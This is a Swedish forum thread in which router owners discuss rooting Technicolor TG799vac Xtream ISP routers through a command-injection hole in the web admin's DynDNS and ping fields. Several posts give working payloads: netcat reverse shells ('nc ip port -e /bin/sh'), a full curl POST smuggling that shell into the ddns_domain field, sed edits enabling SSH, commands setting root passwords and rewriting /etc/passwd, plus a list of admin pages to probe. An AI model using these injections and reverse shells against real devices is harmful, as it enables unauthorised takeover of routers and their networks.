Säkerhetshål i BBB Technicolor TG799vacXTREAM router, DnsMasq heap buffer overflow vulnerability, Severity:High

Permalänk

@anon277726: Metod 1 ger samma problem som förut.

Metod 2 testar jag nu med lite frågor. jag br väl lägga fw 1.03 i någon särskild folder? Autoflashgui ger inte direkt en browseknapp där man kan directa till rätt fw? - det enda jag gjort just nu är att kopiera texten i bilden du la upp.

och då får jag detta:

https://imgur.com/jZWLomz

annars verkar metod 2 definitivt vara the way to go här... om jag bara får den att connecta - vad kan detta fel bero på?

Permalänk
Inaktiv

@fireplayer: Har du verkligen netcat igång?

Permalänk
Inaktiv

@fireplayer: Netcat kan laddas ner här

Lägg den vart du vill, öppna powershell och gå till mappen exempelvis: c./Users/username/Desktop/nmap och sedan starta bara nmap via nmap.exe -lvvp 1337 och sedan skall det gå via båda metoderna.

Permalänk
Inaktiv

Hallå igen, eftersom några har frågat i PM så tänkte jag att jag skriver om en ny bakdörr och nya tricks från våra operatörer.

För er med TECHNICOLOR 17.2 Mint (Senaste versionen för alla operatörer i Sverige) så har ni nu möjlighet att hacka eran router pga en exploit jag hittat tidigare. Jag har inte hittat denna någon annanstans på nätet så det passar väl utmärkt att den kommer på sweclockers först.

https://wuseman.github.io/TG799VAC-XTREME-17.2-MINT/

BIG BROTHER IS WATCHING US .. FOR REAL !

MVH wuseman

Permalänk

Alla metoder jag testat för min har inte fungerat. Måste jag flasha den med USB?

Permalänk
Inaktiv

@hardylulz: Nej det skall inte behövas, fungerade det att skriva det i DYNDNS fältet?

Edit: Hur skall du flasha det via usb om du inte kommer in i shell?

Permalänk
Medlem

Brygga den och skaffa något eget om du inte har möjlighet att kasta bort den helt.

Permalänk
Medlem

har du någon information om Telenors variant också? Versionen verkar vara 17.1 (Version Gold). Loggade in i min och såg att portarna 22/443 var reserverade för service providers (vill ju köra eget på 443), kändes lite sådär. Portscan på min IP visade en del öppna saker också. Jag hittar heller ingen inställning för att stänga av access till webGUI't utifrån.

Testade med ping/dns hacket men det fungerade inte.

$ nmap 213.113.xxx.xxx Starting Nmap 7.40 ( https://nmap.org ) at 2018-09-21 02:15 CEST Nmap scan report for *.bbcust.telenor.se (213.113.xxx.xxx) Host is up (0.0024s latency). Not shown: 992 closed ports PORT STATE SERVICE 21/tcp filtered ftp 22/tcp open ssh 53/tcp open domain 80/tcp open http 443/tcp open https 631/tcp filtered ipp 5000/tcp open upnp 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 40.36 seconds

Permalänk
Medlem

@trexake: Har du testat att köra nmap faktiskt utifrån? Kör du nmap (även om du skriver extern ip) från lokala nätet så ser det mycket värre ut än vad det är.

Jag skulle exempelvis vara väldigt förvånad om GUI eller för den delen port 53 skulle vara öppen utifrån.

Permalänk
Medlem
Skrivet av Kamouflage:

@trexake: Har du testat att köra nmap faktiskt utifrån? Kör du nmap (även om du skriver extern ip) från lokala nätet så ser det mycket värre ut än vad det är.

Jag skulle exempelvis vara väldigt förvånad om GUI eller för den delen port 53 skulle vara öppen utifrån.

Du har rätt, det var inte så jäkligt som jag trodde (slarvade lite i min undersökning), var faktiskt ingen port öppen när jag scannade från jobbet nu. Den är lite lustig denna router: Har en server med flera virtuella maskiner men har bara ett nätverkskort. Tror ni att det är enkelt att öppna en port mot en av de IP adresserna, eller att den pekas helt "random" mot en av dem (såklart inte den jag ville öppna mot)?

Permalänk
Medlem

@anon277726: Har du någon erfarenhet av Telenors variant av denna? Dessa metoder verkar inte riktigt fungera rakt av. Såg även inlägget i säkerhetsbubblan de metoderna fungerar inte. SSH servern verkar vara inställt att endast tillåta pubkey och inte password.

Kör jag nmap mot den lokala adressen och mot den externa (men dock inifrån nätverket får jag olika resultat:

$ nmap 192.168.1.1 Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-22 22:03 CEST Nmap scan report for dsldevice.lan (192.168.1.1) Host is up (0.00085s latency). Not shown: 994 closed ports PORT STATE SERVICE 21/tcp filtered ftp 53/tcp open domain 80/tcp open http 443/tcp open https 631/tcp filtered ipp 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 42.40 seconds $ nmap xxx.xxx.xxx.xxx Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-22 22:04 CEST Nmap scan report for *.bbcust.telenor.se (xxx.xxx.xxx.xxx) Host is up (0.00083s latency). Not shown: 993 closed ports PORT STATE SERVICE 21/tcp filtered ftp 22/tcp open ssh 53/tcp open domain 80/tcp open http 443/tcp open https 631/tcp filtered ipp 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 46.13 seconds $ ssh engineer@213.113.144.134 engineer@213.113.144.134: Permission denied (publickey).

De verkar ha lagt in input validation (server side) i många av fälten på administratörssidan. Satt och lattjade för att se om de gjorde valideringen i browsern eller på servern.

Permalänk
Inaktiv

@trexake: Ok, njae vet inte på rak arm då jag aldrig provat 17.1 men bör ju inte vara omöjligt, prova detta:

:::::::;sed -i ‘s/0/1/’ /etc/config/dropbear
:::::::;sed -i ‘s/off/on/g’ /etc/config/dropbear
:::::::;reboot;
Vänta tills routern rebootat.
:::::::;echo root:root | chpasswd; dropbear -p 22;

Vad händer när du skriver ett kommando i traceroute fältet / eller dyndns, kommer det du skriver fram till routern te.x när du skriver reboot som ovan?

Edit: Kan ju vara som så att root är satt till false i /etc/passwd också kom jag på: Prova:

:::::::;sed -i ‘s#root:/bin/false#root:/bin/ash#’ /etc/passwd;echo “root:password”|chpasswd;dropbear -p 22 &'

Om inte det första funkar.

Intressant att ftpn är öppen när du portscannar, vad händer när du ansluter via ftpn?

Funkar denna:
http://192.168.1.1/modals/usermgr-modal.lp ?

Många saker nu men blev nyfiken

Permalänk
Medlem
Skrivet av anon277726:

@trexake: Ok, njae vet inte på rak arm då jag aldrig provat 17.1 men bör ju inte vara omöjligt, prova detta:

:::::::;sed -i ‘s/0/1/’ /etc/config/dropbear
:::::::;sed -i ‘s/off/on/g’ /etc/config/dropbear
:::::::;reboot;
:::::::;echo root:root | chpasswd; dropbear -p 22;

Vad händer när du skriver ett kommando i traceroute fältet / eller dyndns?

Edit: Kan ju vara som så att root är satt till false i /etc/passwd också kom jag på: Prova:

:::::::;sed -i ‘s#root:/bin/false#root:/bin/ash#’ /etc/passwd;echo “root:password”|chpasswd;dropbear -p 22 &'

Om inte det första funkar.

Intressant att ftpn är öppen när du portscannar, vad händer när du ansluter via ftpn?

Vi har haft en liten parallell diskussion i säkerhetsbubblan (antar jag?). Testade att köra nmap mot min IP från kontoret, såg ingenting öppet då, detta jag postade tidigare var inifrån mitt nätverk. Testade även där att reseta till factory utan WAN kabel, men 17.1 verkar ligga på ena banken så den väljs.

Har testat att pasta in de där sakerna i alla möjliga olika fält. Även testat injectat det direkt i POST requesten (ifall det skulle vara någon form av JS validering innan), hittills verkar de flesta input valideras på server sidan.

Går ej att ansluta till FTP servern (connection timed out).

Blir en 404 på http://192.168.1.1/modals/usermgr-modal.lp
Edit: Skojjade bara, det gick visst. Ska undersöka den lite. Är visst bara första login vyn jag hamnar i då.

Permalänk
Inaktiv
Skrivet av trexake:

Vi har haft en liten parallell diskussion i säkerhetsbubblan (antar jag?). Testade att köra nmap mot min IP från kontoret, såg ingenting öppet då, detta jag postade tidigare var inifrån mitt nätverk. Testade även där att reseta till factory utan WAN kabel, men 17.1 verkar ligga på ena banken så den väljs.

Har testat att pasta in de där sakerna i alla möjliga olika fält. Även testat injectat det direkt i POST requesten (ifall det skulle vara någon form av JS validering innan), hittills verkar de flesta input valideras på server sidan.

Går ej att ansluta till FTP servern (connection timed out).

Blir en 404 på http://192.168.1.1/modals/usermgr-modal.lp
Edit: Skojjade bara, det gick visst. Ska undersöka den lite. Är visst bara första login vyn jag hamnar i då.

Ok, hej igen

Det skall fungera att skriva in det i dyndns fältet som på 17.1.. Prova utan alla ::::::; så du skriver: nc ip port -e /bin/sh istället

Ok, ja gör det, det finns fler saker i modals mappen, här har du ett par sidor du kan testa om dom funkar:
assistance-modal.lp
basicview-accesscode-modal.lp
basicview-wifiguest-modal.lp
basicview-wifiguest5GHz-modal.lp
basicview-wifipsk-modal.lp
basicview-wifipsk5GHz-modal.lp
basicview-wifissid-modal.lp
basicview-wifissid5GHz-modal.lp
bridge-grouping-modal.lp
broadband-modal.lp
contentsharing-modal.lp
cwmpconf-modal.lp
device-modal.lp
diagnostics-connection-modal.lp
diagnostics-igmpproxy-modal.lp
diagnostics-network-modal.lp
diagnostics-ping-modal.lp
diagnostics-tcpdump-modal.lp
diagnostics-xdsl-modal.lp
dmz-modal.lp
ethernet-modal.lp
firewall-modal.lp
gateway-modal.lp
hostmap-modal.lp
internet-modal.lp
iproutes-modal.lp
l2tp-ipsec-server-modal.lp
log-connections-modal.lp
log-routingtable-modal.lp
logviewer-modal.lp
lte-doctor.lp
lte-modal.lp
lte-profiles.lp
lte-sim.lp
lte-sms.lp
mmpbx-contacts-modal.lp
mmpbx-dect-modal.lp
mmpbx-global-modal.lp
mmpbx-inoutgoingmap-modal.lp
mmpbx-log-modal.lp
mmpbx-profile-modal.lp
mmpbx-service-modal.lp
mmpbx-sipdevice-modal.lp
mmpbx-statistics-modal.lp
mwan-modal.lp
nat-alg-helper-modal.lp
parental-modal.lp
relay-modal.lp
system-modal.lp
tod-modal.lp
tod_wireless-modal.lp
usermgr-modal.lp
wanservices-modal.lp
wireless-client-modal.lp
wireless-modal.lp
wireless-qrcode-modal.lp
xdsl-low-modal.lp

Är detta Telenor Norge? Jag kan inte hitta någon svensk operatör som släppt 17.1 någonstans..

Permalänk
Medlem

Får testas lite mer, måste ge upp för dagen. Tack för hjälp

Hur skulle motsvarande cURL commando bli:

curl 'https://192.168.1.1/modals/wanservices-modal.lp' -H 'Cookie: sessionID=0fa2aab173bd5de1adf88b45180f3a54dfeade7cd8b022f9ae776cf23ec2a94f' -H 'Origin: https://192.168.1.1' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9,sv;q=0.8' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Accept: text/html, */*; q=0.01' -H 'Referer: https://192.168.1.1/' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' --data 'upnp_status=1&upnp_natpmp=1&upnp_secure_mode=1&ddns_enabled=1&ddns_service_name=dyn.com&ddns_usehttps=1&ddns_domain=test.com%3B+nc+192.168.1.207+1337+-e+%2Fbin%2Fsh&ddns_username=your_username&ddns_password=&action=SAVE&fromModal=YES&CSRFtoken=ebc453bbec70fe3534fa99e2dd6bf1786ab09ddf303a65ef3dd443f026ae0627' --compressed --insecure

(Bytte OS, körde via burpsuite tidigare)

Det är telenor sverige

Permalänk
Medlem

wuseman har fått lite uppmärksamhet.
https://cert.se/2018/09/cert-se-s-veckobrev-v-39

Visa signatur

Nätverksnörd

Permalänk

Jag har också denna router med Telenor (f.d. BBB) och firmware 17.1, ingen av dessa metoder fungerar. Netcat-metoden fungerade bra vid ping-requests under diagnostics i 16.x, men i 17.1 så är validering påslaget både på ping diagnostiken samt dyndns

Permalänk
Medlem
Skrivet av SuperRoffe:

Jag har också denna router med Telenor (f.d. BBB) och firmware 17.1, ingen av dessa metoder fungerar. Netcat-metoden fungerade bra vid ping-requests under diagnostics i 16.x, men i 17.1 så är validering påslaget både på ping diagnostiken samt dyndns

Har försökt lite mer men inte lyckats heller. @anon277726 har du några fler förslag? Du skulle eventuellt kunna få direkt access (SSH) om du är intresserad av att testa.

Global Information Product Vendor Technicolor Product Name Technicolor TG799vacXTREAM Software Version 17.1 Firmware Version 17.1.7937-1281014-20180313133921 Firmware OID 5aa7c6792e32ce7234ab14bb Bootloader Version 15.38.724-0000000-20150917132051-d85c65bd2e219aab5422ce7f3366cf1ebe170059 Bootloader OID unknown Hardware Version VANT-W

Permalänk
Inaktiv

Kan inte hjälpa till personligen tyvärr då jag inte har tid.

Jag undrar fortfarande ifall om kommandona ni skriver kommer fram till routern, för att ta reda på detta kan ni te.x skriva ::::::;reboot, startas routern om?

Permalänk
Medlem
Skrivet av anon277726:

Kan inte hjälpa till personligen tyvärr då jag inte har tid.

Jag undrar fortfarande ifall om kommandona ni skriver kommer fram till routern, för att ta reda på detta kan ni te.x skriva ::::::;reboot, startas routern om?

Ska testa detta.

Fungerade icke, de verkar sanitize sina input lite bättre i denna FW.

Permalänk

Jag har Telias tg799svn2, Telias tg799vac, Telenors tg784nv3 och Telenors tg799vacXtream. Alla utom den sista har jag rootat, och sen lagt på hyllan. Version 17.1 på Telenors tg799vacXtream är väldigt inbrottssäker. Är det nån som har ett sånt modern som är rootat redan? På 17.1 eller annan version?

Skickades från m.sweclockers.com

Permalänk
Medlem

Har lyckats slanga hem config.bin från min Telenors TG799vac Xtream nu - det är ett steg i rätt riktning. Tror även jag kan ladda upp ny firmware (någon som sitter på FW till nedanstående?) + slanga upp ny config bör vara möjligt.

PM:a så släpper jag PoC och how-to på individbasis, vill inte gå publikt med det än.

Frågan är, går det dekryptera config.bin - om den öht är krypterad, för allt jag försökt med har sofar misslyckats... Asudda format. Någon som har info?

Config.bin ser ut typ såhär:

PREAMBLE=THENC BACKUPVERSION=1.00 BOARDMNEMONIC=VANT-W PRODUCTNAME=Technicolor TG SERIALNUMBER=CPxxxxxx MAC=EE:11:FF:00:00:00 BUILDVERSION=17.1.7937-1281019-20181017151401-ca6205fc4ca4d41e16426362d8e71ae01f63d418 CIPHERKEY=GW SIGNATUREKEY=GW * Sen omkr 120kb med binärdata. *

(Ja, det är både ascii och binärdata i en .bin fil, udda nog)

EDIT:

Jag har f.ö. Telenor (f.d. Bredbandsbolaget, och bor i Söderort i Sthlm - så helt svenskt)

Visa signatur

Besök JimNelin.com eller Jim Nelin på LinkedIn

Permalänk

VAD fasen gör jag med detta budskap? har provat med olika antal kolon så det är inte det. och NC lyssnar snällt på 1337

https://imgur.com/a/vIcXrgE

kommer inte vidare pga detta. har pm-at dig oxå @anon277726

EDIT: har även provat utan kolon o semikolon. Telenor fungerar tydligen inte likadant.

Permalänk
Inaktiv

@Jine: Lust att dela bin filen?

Firmware kan hittas här, för telia dock: https://github.com/wuseman/TG799VAC-XTREME-17.2-MINT/issues/5...

Permalänk

Det här är ju förjävligt att dom sysloggar å grejer , jag skulle vilja stänga av den skiten samt så vore det inte fel med lite extra funktioner i det grafiska gränssnittet heller så funderar på att genomföra stegen som behövs för att få root privilegium men är samtidigt rädd att ha sönder hela routern. Finns det möjlighet att enkelt återgå till originalkonfiguration om det skulle bli tjafs med Telia i framtiden?

Permalänk
Inaktiv

@AgatonSax: Ja, rekommenderar dig start att prova det är svårt att bricka routern om du följer instruktioner. Det skall till väldigt mycket om du skall ha sönder den.

Routern har två bank overlays, man kan säga att det är två C:/ partitioner, du kan alltid återgå till "originalet" när du återställer routern.

Det har blivit sjukt mycket snabbare sista tiden och du har även stöd för WOL och andra roliga nya funktioner.

Routerm klår SAGEMCOM med HÄSTLÄNGDER så vad ni än gör även om dom säger att den andra är bättre så byt INTE, man kan inte ens låsa wifit till en mac addr på Sagemcom sedan uppgraderingen.

Ni kan även hacka den men de är lite offtopic men för dom som har lust:

https://github.com/wuseman/SAGEMCOM-FAST-5370e-TELIA

.. Använd er av ANSUELS github för att få samma utseende som jag, finns 8 teman tror jag det är och det är imponerande snabbt inte som på Telias original där det kan ta sin tid att trycka på carden/rutorna när man ställer in saker.
https://github.com/Ansuel/tch-nginx-gui

När ni är inne i routern efter ni kört netcat kommandot dvs och har shell åẗkomst så kopiera dom tre raderna under och klistra in bara så är det klart ni behöver inte göra mer sen ni som inte gillar terminaler och så:
curl -k https://raw.githubusercontent.com/Ansuel/gui-dev-build-auto/m... --output /tmp/GUI.tar.bz2
bzcat /tmp/GUI.tar.bz2 | tar -C / -xvf -
/etc/init.d/rootdevice force

Helt plötsligt har ni en router som är jävligt bra, vad ni en gör så stäng inte av routern under den minuten den jobbar, den startar om sig själv så bara kopiera, klistra in och vänta någon minut. Logga därefter in med admin admin som user:pass. Går inte att göra fel i princip, om man nu inte har dåligt tålamod och drar ut sladden under minuten För att återställa till telia igen så bara kör en factory reset så är allt som vanligt.

Permalänk
Inaktiv
Skrivet av fireplayer:

VAD fasen gör jag med detta budskap? har provat med olika antal kolon så det är inte det. och NC lyssnar snällt på 1337

https://imgur.com/a/vIcXrgE

kommer inte vidare pga detta. har pm-at dig oxå @wuseman

EDIT: har även provat utan kolon o semikolon. Telenor fungerar tydligen inte likadant.

Det där måste vara en äldre firmware du är på 16.2 Jade ser det ut som, prova exakt samma kommando fast i PING fältet istället.

Permalänk
Inaktiv

@Jine: Hur du får fram nyckeln till kryperingen kan följas här:

https://github.com/pedro-n-rocha/secr

Permalänk
Medlem

Har en extra BBB TG799vac Xtream med 17.1 Gold som jag kan labba med om det finns något jag kan testa med mina limiterade skills på detta området
Om det nyttjar OS specifika verktyg så har jag både Windows 10 och linux att nyttja.
All progress till o få de här annars superba routrarna från 17.1 är värt mödan.

Visa signatur

gh: izaacj
--------------------------------------------------
Desktop: TUF Gaming B550-Plus II - Ryzen 7 5700X - 16GB Vengeance DDR4 - ASUS RX580 DUAL OC
Laptop: Samsung Galaxy Book Pro 360 - Core i7 1165G7 - 16GB RAM
Homelab: pfSense | Proxmox VE | unRAID | Pterodactyl | Overseer | Plex

Permalänk
Inaktiv

@IzaacJ: Till windows finns AutoGUI du kan använda för att hacka routern med grafiskt gränsnitt om det önskas.

https://www.crc.id.au/hacking-the-technicolor-tg799vac-and-un...